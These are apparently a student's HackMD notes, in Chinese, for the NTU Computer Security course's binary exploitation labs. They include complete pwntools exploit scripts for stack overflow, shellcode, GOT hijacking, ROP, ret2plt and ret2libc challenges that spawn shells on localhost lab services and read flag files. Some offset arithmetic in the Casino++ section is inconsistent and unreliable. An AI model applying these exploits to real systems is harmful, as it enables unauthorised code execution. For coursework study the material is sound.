{%hackmd HJHcLwna2 %} {%hackmd BJnaHZvT6 %} ::: info ##### 環境 environment - [GitHub](https://github.com/yuawn/NTU-Computer-Security) - OS: ubuntu 18.04 - GCC: gcc (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0 <br/> ##### 查看環境 ``` gcc -v sudo apt install gcc # GCC 7.5.0 應該也可以 ``` ##### GitHub ``` git clone https://github.com/yuawn/NTU-Computer-Security.git ``` ##### Build ``` # sudo apt install docker-compose cd week1 # week2 week3 sudo docker-compose up -d ``` ##### Compile (如需自行重編題目 binary) ``` sudo apt install libseccomp-dev make ``` ::: <br/> <br/> <br/> <br/> # Week 1: Binary Exploitation - Basic --- ## **Lab-bof** stack buffer overflow, overwrite return address 查看題目 ``` cd src sudo vim bof.c ``` 下載 pwntool ``` sudo su apt-get update apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools ``` 查看保護機制 ``` cd /week1/bof/share | ls checksec ./bof # No PIE(固定位址) No Canary ```  下載 gdb-peda ``` git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit echo "DONE! debug your program with gdb and enjoy" ``` GDB ``` gdb ./bof b main r n n #看到get c # 輸入aaaaaaaaaaaaa... ```  死在return,因為塞很多e(很emo)  <br/> `x/10g $rsp` #查看stack  <br/> `x/30g $rsp - 0x68` #查看stack之前資料  <br/> `vmmap`  <br/> `objdump -d ./bof`  看到 SUB 分配 gets 空間 0x30  <br/> 找到 call me `0000000000400687 <try_to_call_me>:`  <br/> **ANSWER** ``` #python from pwn import * #y = process( '../bof/share/bof' ) y = remote( 'localhost' , 10170 ) p = b'a' * 0x38 + p64( 0x40068b ) y.sendlineafter( '.' , p ) y.sendline( 'cat /home/`whoami`/flag' ) y.interactive() ``` *0x30 (buffer) + 0x8 (saved rbp) = 0x38 (return address)*  <br/> 不是`0x400687`的原因是[MOVAPS](https://c9x.me/x86/html/file_module_x86_id_180.html),需對齊 0x10 的格式。原本的 stack 的 Top 應該是有舊的 ret address,但我們直接跳過去,所以應該會有八個 bytes 的位址 ret address,解法是後多跳一點到 `0x40068b`。 原本想法: 0x40068b (GDB.call me) = 0x400687 (Objdump.call me) + (0x40069e - 0x40069a) - GDB: Breakpoint 1, 0x000000000040069e in main () - Objdump:0x000000000040069a 應該是: *8 bytes(ret) = 64 bits -> 0x4* 0x400687 + 0x4 = 0x40068b <br/> **觀念補充** - stack 由⾼位往低位長 - 記憶體寫入是往高位寫 - bof 利用 call_me fuction 蓋掉 main function 的 ret **偷懶** *ret: 0x7fffffffde98*  `set {long}0x7fffffffde98=0x0000000400687`  `i r` # 查找 rip `x/1i 0x40071f` #查看 ret  `si` # 下一步就到 call_me  <br/> <br/> <br/> <br/> FLAG: `FLAG{Pwned_7he_f1rs7_b1n4ry}` <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> ## **Lab-orw** seccomp filter syscall, shellcode 這題概念就是 bof 有足夠空間去放置shellcode  <br/> <br/> `checksec ./orw`  下載 [seccomp-tools](https://github.com/david942j/seccomp-tools) # 剖析 syscall 名稱與參數 ``` sudo apt install gcc ruby-dev sudo gem install seccomp-tools # sudo gem install seccomp-tools -v 1.5.0 ``` `seccomp-tools dump ./orw`  <br/> **ANSWER** ``` # python from pwn import * context.arch = 'amd64' y = remote( 'localhost' , 10171 ) #y = remote( 'edu-ctf.csie.org' , 10171 ) #y = process( '../orw/share/orw' ) # pwnlib shellcraft sc = asm( shellcraft.pushstr( "/home/orw/flag" ) + shellcraft.open( 'rsp' , 0 , 0 ) + shellcraft.read( 'rax' , 'rsp' , 0x30 ) + shellcraft.write( 1 , 'rsp' , 0x30 ) ) y.sendafter( '>' , sc ) y.sendlineafter( ':)' , b'a' * 0x18 + p64( 0x6010a0 ) ) y.interactive() ``` *0x6010a0 \<sc>*  因為 NX,所以跳上去後會EOF! 塞到 .bss 可讀可寫,但不可執行。   FLAG: `FLAG{H0w_2_she1lc0d1ng}` <br/> <br/> <br/> <br/> ## **Homework-Casino** oob array access, GOT hijacking, shellcode `checksec ./orw` RELRO: Partial RELRO 代表 GOT 可寫  <br/> <br/> GDB 發現後面會進入 <casino\> Function  <br/> <br/> Objdump `objdump -d casino`  *name (0x6020f0)*、*age (0x602104)*  *seed (0x602100)*、*guess (0x6020d0)* <br/> <br/> `objdump -t casino` # 查看全域變數  發現 name 只有 0x10,但 read 0x100,因此可以 overflow。 <br/> <br/> 查看 source code 可以 Oerflow 的地方 name: ``` char name[0x10] = {0}; read( 0 , name , 0x100 ); ``` guess: ``` int guess[6] = {0}; int idx = read_int() - 1; guess[idx] = read_int(); ``` - - read_int() ``` int read_int(){ char buf[0x10]; __read_chk( 0 , buf , 0xf , 0x10 ); return atoi( buf ); } ``` <br/> <br/> <br/> 觀察 code, casino 可以先寫 C 看 srand 函数設置的假隨機生成器種子 ``` // lottery.c #include <stdio.h> #include <stdlib.h> int main() { int lottery[6] = {0}, seed = 0; srand(seed); for (int i = 0; i < 6; ++i) { lottery[i] = rand() % 100; printf("%d, ", lottery[i]); // lottery = {83, 86, 77, 15, 93, 35} } } ```  <br/> <br/> <br/> <br/> **ANSWER** ``` # python from pwn import * context.arch = 'amd64' y = remote( 'localhost' , 10172 ) #y = remote( 'edu-ctf.csie.org' , 10172 ) #y = process( '../casino/share/casino' ) rnd = [83,86,77,15,93,35] name = 0x6020f0 y.sendafter( ':' , b'\0' * 0x20 + asm( shellcraft.sh() ) ) y.sendafter( ':' , '27' ) for i in range( 6 ): y.sendafter( ':' , '7\n' ) y.sendafter( ']: ' , '1\n' ) y.sendafter( ': ' , '-42\n' ) # overwrite guess[-43] y.sendafter( ': ' , '0\n' ) for i in rnd: y.sendafter( ':' , str(i) + '\n' ) y.sendafter( ']: ' , '1\n' ) y.sendafter( ': ' , '-43' ) # overwrite guess[-44] y.sendafter( ': ' , str( name + 0x20 ) ) y.interactive() ``` 將 name Overflow 蓋 age 後,塞shellcode 。 *0x6020f0 + 0x20 = 0x602110 > 0x602104* 利用 guess[idx] 的 idx 來改寫 GOT `read_int()` 的 `atoi(buf)` 將 buf 中的 string 轉換為 int 所以一次只能改寫 4 Bytes, 而要改寫 rip 的 8 Bytes 則需要改寫兩次。  勝利時會 call puts  觸發 function 使其去 GOT 查表,並跳轉到 shellcode 上, 改 puts() 而不是 printf(),因為 printf() 在猜時會用到。 <br/> <br/> 利用 objdump 查看 puts 的位址 *puts (0x602020)*  *0x6020d0 (guess) - 0x602020 (puts@plt) = 0xB0* 0xB0 = 16 * 11 = 176 bytes 176 / 4 (數字為 4 bytes) = 44 因為 rip 為 8 Bytes, *puts (0x602020): 0x602020 ~ 0x602027* 由於 read_init() 一次寫入為 4 bytes *0x6020d0 - 0x602024 = 0xAC* 0xAC = 172 bits 172 / 4 = 43 ``cat /home/`whoami`/flag`` <br/> <br/> 參考:https://hackmd.io/@a5180352/ByCIQhQ2H FLAG:`FLAG{0verf1ow_1n_ev3rywhere!}` <br/> <br/> <br/> <br/> <br/> radare2 下載 ``` git clone https://github.com/radare/radare2.git sudo ./radare2/sys/install.sh ``` radare2 [參考1](https://blog.frozenkp.me/reverse/radare2/)、[參考2](https://ithelp.ithome.com.tw/articles/10315418?sc=rss.iron) ``` r2 ./casino VV q ``` <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> # Week 2: Binary Exploitation --- ## **Lab-ROP** ROP bypass NX protection <br/> 下載 [ROPgadget Tool](https://github.com/JonathanSalwan/ROPgadget) ``` sudo apt install python3-pip sudo -H python3 -m pip install ROPgadget ``` `ROPgadget --binary ./rop`  目標  `ROPgadget --binary ./rop --only "pop|ret"` pop rdi (0x0000000000400686)  pop rsi (0x00000000004100f3)  pop rdx (0x000000000044be96)  pop rax (0x0000000000415714)  pop rdx; pop rsi; (0x000000000044beb9)  <br/> <br/> `ROPgadget --binary ./rop | grep ": mov"` mov [rdi] rsi (0x000000000044709b) # mov qword ptr [rdi], rsi ; ret  syscall (0x000000000040125c)  bss (0x006b6000) # 找可以寫入的Memory ``` gdb rop b main r vmmap ```  `x/20g 0x006b6000` # 避免寫到其他東西  <br/> <br/> <br/> <br/> **ANSWER** ``` # python from pwn import * context.arch = 'amd64' y = remote( 'localhost' , 10173 ) #y = remote( 'edu-ctf.csie.org' , 10173 ) #y = process( '../rop/share/rop' ) #pause() pop_rax = 0x0000000000415714 pop_rdi = 0x0000000000400686 pop_rsi = 0x00000000004100f3 pop_rdx = 0x000000000044be96 mov_q_rdi_rsi = 0x000000000044709b # mov qword ptr [rdi], rsi ; ret syscall = 0x000000000040125c pop_rdx_rsi = 0x000000000044beb9 bss = 0x006b6000 p = flat( 'a' * 0x38, pop_rdi, bss, pop_rsi, '/bin/sh\0', mov_q_rdi_rsi, pop_rsi, 0, pop_rdx, 0, pop_rax, 0x3b, syscall ) y.sendlineafter( ':D' , p ) y.sendline( 'cat /home/`whoami`/flag' ) y.interactive() ``` <br/> <br/> FLAG: `FLAG{ROo0o0o0o0o0o0o0o00P}` <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> ## **Lab-ret2plt** Practice using plt functions   `ROPgadget --binary ./rop --only "pop|ret"` pop rdi (0x0000000000400733)  bss (0x00601070)  `objdump -d ./ret2plt` gets_plt (0x0000000000400530) system_plt (0x0000000000400520)  <br/> <br/> <br/> <br/> **ANSWER** ``` # python from pwn import * context.arch = 'amd64' y = remote( 'localhost' , 10174 ) #y = remote( 'edu-ctf.csie.org' , 10174 ) #y = process( '../ret2plt/share/ret2plt' ) #pause() pop_rdi = 0x0000000000400733 gets_plt = 0x400530 system_plt = 0x400520 bss = 0x601070 p = flat( 'a' * 0x38, pop_rdi, bss, # rdi = 0x601070 gets_plt, # 呼叫 gets() 將 sh 寫入bss pop_rdi, bss, # rdi = 0x601070 使 rdi 指向有寫 sh 的 bss system_plt # 用 system_plt 執行 bss 區域中的內容 ) y.sendlineafter( ':D' , p ) y.sendline( 'sh' ) y.sendline( 'cat /home/`whoami`/flag' ) y.interactive() ``` <br/> <br/> FLAG: `FLAG{ret2222222222222222222p1t}` <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> ## **Lab-ret2libc** information leak, bypass ASLR, practice ret2libc technique   `objdump -R ret2libc` \__libc_start_main@GLIBC_2.2.5 (0x0000000000600ff0)  `objdump -d ret2libc` main (0x0000000000400698)  puts.plt (0x0000000000400520) gets.plt (0x0000000000400530)  <br/> <br/> <br/> `readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep 'libc_start'` libc_offset (0x0000000000021ba0)  `readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep 'system'` system_offset (0x000000000004f420)  <br/> <br/> <br/> <br/> **ANSWER** ``` # python from pwn import * context.arch = 'amd64' # l = ELF( './libc-2.27.so' ) # WRONG l = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') y = remote( 'localhost' , 10175 ) #pause() pop_rdi = 0x0000000000400733 main = 0x400698 ret = 0x400506 puts_plt = 0x400520 libc_start_main_got = 0x600ff0 libc_offset = 0x0000000000021ba0 system_offset = 0x000000000004f420 binsh = 0x1b3d88 p = flat( b'a'*0x38, pop_rdi, libc_start_main_got, puts_plt, # 印出其內容 main # 再 ROP ) y.sendlineafter(b':D', p) y.recvline() libc = u64( y.recv(6) + b'\0\0') - libc_offset # libc base address success('libc_base -> %s' % hex(libc)) system_func_ptr = libc + system_offset bin_sh = libc + binsh print ('"/bin/sh" str :' , hex( next(l.search( '/bin/sh' )) )) p = flat( b'a' * 0x38, ret, pop_rdi, bin_sh, system_func_ptr ) #l.address = u64( y.recv(6) + b'\0\0') - libc_offset #success('libc_base -> %s' % hex(l.address)) ''' p = flat( b'a' * 0x38, ret, pop_rdi, next(l.search( '/bin/sh' )), l.sym.system ) ''' y.sendlineafter( b':D' , p ) y.sendline( 'cat /home/`whoami`/flag' ) y.interactive() ``` <br/> <br/> FLAG: `FLAG{ret21ibc_15_p0werfu1}` <br/> <br/> <br/> <br/> <br/> <br/> ## Demo Information leak  假設只要 gets 0x30, 就能得到從後面到前面,78779...,直到看到 000 (視為null)。   x 0x7ffd703beb (read.plt) - Library Address = Offset   <br/> <br/> <br/> <br/> <br/> <br/> ## **Homework-Casino++** oob array access, GOT hijacking, leak libc, ret2libc hijack plt function to system() `checksec ./casino++` # NX enabled  `gdb casino++` # 檢視程式流程 main (name -> age) -> casino() `objdump -d casino++` #檢視 casino 構造  casino (seed -> lottery -> guess) <br/> <br/> 檢視程式碼 可以 Overflow 的是 name 與 guess ``` char name[0x10] = {0}; read( 0 , name , 0x100 ); // Oops int guess[6] = {0}; idx = read_int() - 1; guess[idx] = read_int(); ``` read_init() ``` int read_int(){ char buf[0x10]; __read_chk( 0 , buf , 0xf , 0x10 ); return atoi( buf ); } ``` 需要知道 lottery 存什麼 ``` int lottery[6] = {0} srand( seed ); for( int i = 0 ; i < 6 ; ++i ) lottery[i] = rand() % 100; ``` <br/> <br/> 查看可執行部分 不僅除了可以 Overflow 還需要 system 去執行 shell 可是 name 那段 無法執行   <br/> <br/> ` objdump -R casino++ ` \__libc_start_main@GLIBC_2.2.5 (0x601ff0)  `ROPgadget --binary ./casino++ --only "pop|ret"`  <br/> <br/> **ANSWER** ``` # python from pwn import * l = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') context.arch = 'amd64' y = remote( 'localhost' , 10176 ) def casino( ans , idx , num ): for i in ans: y.sendlineafter( ':' , str( i ) ) y.sendlineafter( ']: ' , '1' ) y.sendlineafter( ': ' , str( idx ) ) y.sendlineafter( ': ' , str( num ) ) lose = [0] * 6 win = [61,68,32,22,69,20] name = 0x6020f0 y.sendafter( ':' , b'\0' * 0x10 + p64( 0x601ff0 ) + p64( 0 ) + asm( shellcraft.sh() ) ) y.sendafter( ':' , '27' ) casino( lose , -42 , 0 ) casino( win , -43 , 0x40095d ) # puts@plt -> casino() casino( lose , -34 , 0 ) # casino() 開 casino() casino( win , -35 , 0x4006e6 ) # srand@plt -> 0x4006e6 (puts 印之功能) 且 puts@plt -> casino() l.address = u64( y.recv(6) + b'\0\0' ) - l.sym.__libc_start_main success( 'libc -> %s' % hex( l.address ) ) win = [22,67,58,53,74,3] one = l.address + 0x10a38c casino( lose , -42 , 0 ) casino( win , -43 , 0x40095d ) # puts@plt -> casino() casino( lose , -29 , l.sym.system & 0xffffffff ) # system() y.sendafter( ': ' , b'sh\n' ) sleep( 0.3 ) y.sendline( 'cat /home/`whoami`/flag' ) y.interactive() ``` 首先 \__libc_start_main_GOT 利用 Overflow 蓋掉 seed (0x602100) 因為勝利時會叫 puts 目前已知可以利用的是 puts@plt 利用 guess 將 casion() 寫到 puts@plt 勝利時再開 casion() *puts (0x602020): 0x602020 ~ 0x602027* 0x6020d0 (guess) - 0x602020 (puts@plt) = 0xB0 0xB0 = 16 * 11 = 176 bytes 176 / 4 = 44 0x6020d0 - 0x602024 = 0xAC 0xAC = 172 bytes 172 / 4 = 43 利用 guess 將 srand() 跳到 0x4006e6 (puts 印之功能) 且進入勝利時再開 casion() *srand (0x602040): 0x602040 ~ 0x602047* 0x6020d0 - 0x602044 = 0x8C 0x8C = 136 140 / 4 = 35 0x6020d0 - 0x602040 = 0x90 0x90 = 140 144 / 4 =36 由於進入下次 casion() 就會觸發 srand(seed) -> puts(\__libc_start_main_GOT) 印出 \__libc_start_main_GOT 內容  利用 guess 將 atoi() 跳到 l.sym.system & 0xffffffff 上 atoi() -> l.sym.system *atoi (0x602058): 0x602058~ 0x60205f* 0x6020d0 - 0x602058 = 0x78 0x78 = 120 120 / 4 = 30 因為 while( try-- ){ 再進入 在"Chose the number %d: 時 後面的 guess[i] = read_int(); 會出發atoi() 此時,輸入 shell 就會使其執行 <br/> <br/> 參考:https://hackmd.io/@a5180352/B1GnND5pr <br/> <br/> FLAG: `FLAG{Y0u_pwned_me_ag4in_Pwn1ng_n3ver_d1e}` <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> # Week 3: Heap Exploitation --- 之後寫,先學Reverse
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up